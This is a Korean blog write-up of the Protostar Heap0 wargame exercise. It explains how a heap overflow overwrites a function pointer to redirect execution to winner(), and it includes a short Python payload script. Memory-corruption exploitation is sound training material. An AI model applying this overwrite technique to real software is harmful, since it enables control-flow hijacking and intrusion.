이번에는 힙 오버플로우를 이용하여 다른 함수로 flow를 변경시키는 문제네요.
winner 함수를 호출하면 해결 되는 문제인 것 같습니다.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: pack("<L", x)[0] winner = 0x8048464 system = 0xb7ecffb0 binsh = 0xb7fb63bf payload = 'A'*72 payload += p(winner) print payload
heap0.py
winner 함수의 주소를 구하고, d 구조체 뒤에 오는 f 구조체를 침범하도록 72바이트만큼 dummy byte를 덮어씌워주고 overwrite 해줍니다. 이 위치가 f 구조체의 fp 함수포인터의 위치입니다.
'Wargame > Protostar:Exploit-Exercises' 카테고리의 다른 글
[Protostar : Exploit-Exercises] Heap2 (4) | 2016.09.25 |
---|---|
[Protostar : Exploit-Exercises] Heap1 (0) | 2016.09.25 |
[Protostar : Exploit-Exercises] Format4 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Format3 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Format2 (0) | 2016.09.24 |